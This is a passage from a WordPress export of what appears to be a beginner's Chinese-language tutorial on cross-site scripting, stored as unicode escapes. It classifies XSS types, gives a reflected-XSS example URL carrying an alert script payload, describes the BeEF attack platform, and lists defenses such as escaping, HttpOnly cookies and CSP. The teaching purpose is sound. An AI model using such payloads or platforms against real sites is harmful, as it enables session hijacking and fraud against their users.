- \u67d0\u7535\u5546\u5e73\u53f0DOM\u578bXSS：\u7528\u6237\u641c\u7d22\u65f6\u6ce8\u5165\u811a\u672c，\u7be1\u6539\u5546\u54c1\u4ef7\u683c，\u8bf1\u5bfc\u5176\u4ed6\u7528\u6237\u4f4e\u4ef7\u4e0b\u5355\u3002<\/li>\n<\/ul>\n
2.6. XSS \u653b\u51fb\u5de5\u5177\u4e0e\u5e73\u53f0<\/h4>\n2.6.1. XSS \u653b\u51fb\u5e73\u53f0<\/h5>\n
\u7814\u7a76\u4eba\u5458\u5c06\u591a\u79cd\u529f\u80fd\u5c01\u88c5\u5230 XSS \u653b\u51fb\u5e73\u53f0\u4e2d，\u8fd9\u4e9b\u5e73\u53f0\u5177\u5907\u83b7\u53d6\u6d4f\u89c8\u5668\u548c\u8ba1\u7b97\u673a\u4fe1\u606f\u3001\u9493\u9c7c\u653b\u51fb\u7b49\u529f\u80fd\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e9b\u5e73\u53f0\u66f4\u9ad8\u6548\u5730\u5b9e\u65bd XSS \u653b\u51fb，\u5e76\u6536\u96c6\u653b\u51fb\u6210\u679c\u3002<\/p>\n
2.6.2. BEEF<\/h5>\n
BEEF \u662f\u4e00\u6b3e\u5f3a\u5927\u7684 XSS \u653b\u51fb\u8f85\u52a9\u5e73\u53f0，\u5b83\u80fd\u591f\u4e0e\u6d4f\u89c8\u5668\u8fdb\u884c\u4ea4\u4e92，\u6ce8\u5165\u811a\u672c\u83b7\u53d6\u654f\u611f\u6570\u636e，\u63a7\u5236\u6d4f\u89c8\u5668\u64cd\u4f5c\u3002BEEF \u5185\u7f6e Web \u754c\u9762，\u65b9\u4fbf\u653b\u51fb\u8005\u8fdb\u884c\u64cd\u4f5c\u548c\u7ba1\u7406\u3002<\/p>\n
2.7. \u9632\u5fa1\u65b9\u6cd5<\/h4>\n2.7.1. \u8f93\u5165\u8f93\u51fa\u8fc7\u6ee4<\/h5>\n
\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u8fdb\u884c\u4e25\u683c\u8fc7\u6ee4，\u8f6c\u4e49\u6216\u53bb\u9664\u7279\u6b8a\u5b57\u7b26，\u9632\u6b62\u6076\u610f\u811a\u672c\u6ce8\u5165\u3002\u540c\u65f6，\u5bf9\u8f93\u51fa\u6570\u636e\u4e5f\u8fdb\u884c\u68c0\u67e5\u548c\u8f6c\u4e49，\u786e\u4fdd\u4e0d\u4f1a\u5728\u9875\u9762\u4e2d\u6267\u884c\u6076\u610f\u811a\u672c\u3002<\/p>\n
\u3010\u8f93\u5165\u7684\u7279\u6b8a\u5b57\u7b26（\u5982<\u3001>\u3001'\u3001"）\u8fdb\u884c\u8fc7\u6ee4\u6216\u8f6c\u4e49\u3011<\/p>\n
2.7.2. HttpOnly Cookie<\/h5>\n
\u8bbe\u7f6e Cookie \u7684 HttpOnly \u5c5e\u6027，\u4f7f JavaScript \u65e0\u6cd5\u8bbf\u95ee\u8be5 Cookie，\u9632\u6b62 Cookie \u88ab\u7a83\u53d6，\u964d\u4f4e\u4f1a\u8bdd\u52ab\u6301\u7684\u98ce\u9669\u3002\u5728 PHP \u4e2d，\u53ef\u4ee5\u4f7f\u7528 setcookie \u51fd\u6570\u8bbe\u7f6e HttpOnly \u5c5e\u6027：<\/p>\n
setcookie("session_id", "123456", time() + 3600, "\/", "example.com", false, true); <\/p>\n
2.7.3. \u5185\u5bb9\u5b89\u5168\u7b56\u7565（CSP）<\/h5>\n
\u914d\u7f6e CSP \u7b56\u7565，\u9650\u5236\u9875\u9762\u52a0\u8f7d\u8d44\u6e90\u7684\u6765\u6e90，\u963b\u6b62\u6076\u610f\u811a\u672c\u7684\u6267\u884c\u3002\u53ef\u4ee5\u901a\u8fc7 HTTP \u54cd\u5e94\u5934 \u201cContent-Security-Policy\u201d \u6216 HTML \u7684 \u201c\u201d \u6807\u7b7e\u6765\u8bbe\u7f6e\u3002<\/p>\n
\u4f8b\u5982，\u8bbe\u7f6e \u201cContent-Security-Policy: script-src'self'\u201d，\u8868\u793a\u53ea\u5141\u8bb8\u4ece\u5f53\u524d\u57df\u540d\u52a0\u8f7d\u811a\u672c\u3002<\/p>\n
2.7.4. \u9a8c\u8bc1\u8f93\u5165\u6570\u636e\u7c7b\u578b\u548c\u683c\u5f0f<\/h5>\n
\u786e\u4fdd\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u7b26\u5408\u9884\u671f\u7684\u7c7b\u578b\u548c\u683c\u5f0f，\u9632\u6b62\u653b\u51fb\u8005\u5229\u7528\u975e\u9884\u671f\u7684\u6570\u636e\u683c\u5f0f\u8fdb\u884c\u653b\u51fb\u3002\u4f8b<\/p>\n
2.7.5. \u8fd8\u6709Js,\u5bcc\u6587\u672c，\u65e7\u7248\u6d4f\u89c8\u5668\u7b49\u7b49\u5b58\u5728\u7684\u5b89\u5168\u9690\u60a3<\/h5>\n","protected":false},"excerpt":{"rendered":"
1. \u524d\u8a00
\n\u521d\u6b21\u5b66\u4e60，\u6bd4\u8f83\u7b80\u964b，\u6709\u51fa\u9519\u5730\u65b9\u8bf7\u6307\u6b63
\n\u53c2\u8003\u5927\u4f6c\u6587\u732e
\nXSS\u6f0f\u6d1e\u8be6\u89e3：\u539f\u7406\u3001\u7c7b\u578b\u3001\u5371\u5bb3\u4e0e\u9632\u5fa1\u7b56\u7565-CSDN\u535a\u5ba2XSS \u653b\u51fb（\u8be6\u7ec6）_xss\u653b\u51fb-CSDN\u535a\u5ba2XSS-\u8de8\u7ad9\u811a\u672c\u653b\u51fb（\u975e\u5e38\u8be6\u7ec6），\u96f6\u57fa\u7840\u5165\u95e8\u5230\u7cbe\u901a，\u770b\u8fd9\u4e00\u7bc7\u5c31\u591f\u4e86-CSDN\u535a\u5ba2\u3010THM\u3011Cross-site Scripting(XSS\u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e)-\u5b66\u4e60 – Hekeatsll<\/p>\n","protected":false},"author":2,"featured_media":65486,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[275,1042],"topic":[],"class_list":["post-65489","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-web","tag-xss"],"yoast_head":"\n
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2.3. xss\u7684\u7c7b\u578b<\/h4>\n
| \n \u7c7b\u578b<\/p>\n<\/td>\n | \n \u4ee3\u7801\u5b58\u50a8\u4f4d\u7f6e<\/p>\n<\/td>\n | \n \u89e6\u53d1\u65b9\u5f0f<\/p>\n<\/td>\n | \n \u5371\u5bb3\u7a0b\u5ea6<\/p>\n<\/td>\n<\/tr>\n | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| \n \u53cd\u5c04\u578bXSS<\/p>\n<\/td>\n | \n \u65e0（URL\u4e2d）<\/p>\n<\/td>\n | \n \u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5<\/p>\n<\/td>\n | \n \u4e2d\u7b49<\/p>\n<\/td>\n<\/tr>\n | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| \n \u5b58\u50a8\u578bXSS<\/p>\n<\/td>\n | \n \u670d\u52a1\u5668\u6570\u636e\u5e93<\/p>\n<\/td>\n | \n \u8bbf\u95ee\u5305\u542b\u6076\u610f\u5185\u5bb9\u7684\u9875\u9762<\/p>\n<\/td>\n | \n \u9ad8<\/p>\n<\/td>\n<\/tr>\n | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| \n DOM\u578bXSS<\/p>\n<\/td>\n | \n \u65e0（\u5ba2\u6237\u7aef）<\/p>\n<\/td>\n | \n \u524d\u7aefDOM\u64cd\u4f5c<\/p>\n<\/td>\n | \n \u4e2d\u7b49<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n 2.3.1. \u53cd\u5c04\u578b XSS<\/h5>\n
2.3.1.1. \u5b9a\u4e49<\/h6>\n\u53cd\u5c04\u578b XSS \u653b\u51fb\u7684\u811a\u672c\u901a\u5e38\u5b58\u5728\u4e8e URL \u4e2d，\u670d\u52a1\u5668\u5728\u63a5\u6536\u5230\u8bf7\u6c42\u540e，\u4f1a\u76f4\u63a5\u5c06\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u5185\u5bb9\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u6267\u884c\u3002<\/p>\n \u8fd9\u79cd\u653b\u51fb\u5c5e\u4e8e\u975e\u6301\u4e45\u6027\u653b\u51fb，<\/p>\n \u3010\u653b\u51fb\u8005\u4e8b\u5148\u5236\u4f5c\u597d\u653b\u51fb\u94fe\u63a5, \u9700\u8981\u6b3a\u9a97\u7528\u6237\u81ea\u5df1\u53bb\u70b9\u51fb\u94fe\u63a5\u624d\u80fd\u89e6\u53d1XSS\u4ee3\u7801（\u670d\u52a1\u5668\u4e2d\u6ca1\u6709\u8fd9\u6837\u7684\u9875\u9762\u548c\u5185\u5bb9），\u4e00\u822c\u5bb9\u6613\u51fa\u73b0\u5728\u641c\u7d22\u9875\u9762\u3002\u4e00\u822c\u662f\u540e\u7aef\u4ee3\u7801\u8fdb\u884c\u5904\u7406\u3011<\/p>\n \u4f8b\u5982，\u653b\u51fb\u8005\u6784\u9020\u94fe\u63a5 \u201chttp:\/\/example.com\/search?query=alert('XSS')\u201d，\u5f53\u7528\u6237\u70b9\u51fb\u8be5\u94fe\u63a5\u65f6，\u670d\u52a1\u5668\u5c06\u6076\u610f\u811a\u672c\u53cd\u5c04\u56de\u6d4f\u89c8\u5668，\u8fdb\u800c\u6267\u884c\u5f39\u7a97\u64cd\u4f5c\u3002<\/p>\n \u3010\u6838\u5fc3\u7279\u70b9\u662f\u6076\u610f\u4ee3\u7801\u901a\u8fc7URL\u53c2\u6570\u4f20\u9012，\u670d\u52a1\u5668\u672a\u8fc7\u6ee4\u76f4\u63a5\u53cd\u5c04\u56de\u9875\u9762\u6267\u884c\u3002\u3011<\/p>\n 2.3.1.2. \u6838\u5fc3\u539f\u7406：URL\u4f20\u53c2\u2192\u670d\u52a1\u5668\u53cd\u5c04\u2192\u6d4f\u89c8\u5668\u6267\u884c<\/h6>\n\u653b\u51fb\u8005\u6784\u9020\u5305\u542b\u6076\u610f\u811a\u672c\u7684URL，\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u3002\u670d\u52a1\u5668\u5c06URL\u4e2d\u7684\u53c2\u6570（\u5982\u641c\u7d22\u5173\u952e\u8bcd\u3001\u8868\u5355\u8f93\u5165）\u539f\u6837\u5d4c\u5165\u54cd\u5e94\u9875\u9762，\u6d4f\u89c8\u5668\u8bef\u8ba4\u4e3a\u662f\u53ef\u4fe1\u5185\u5bb9，\u6267\u884c\u6076\u610f\u811a\u672c\u3002<\/p>\n
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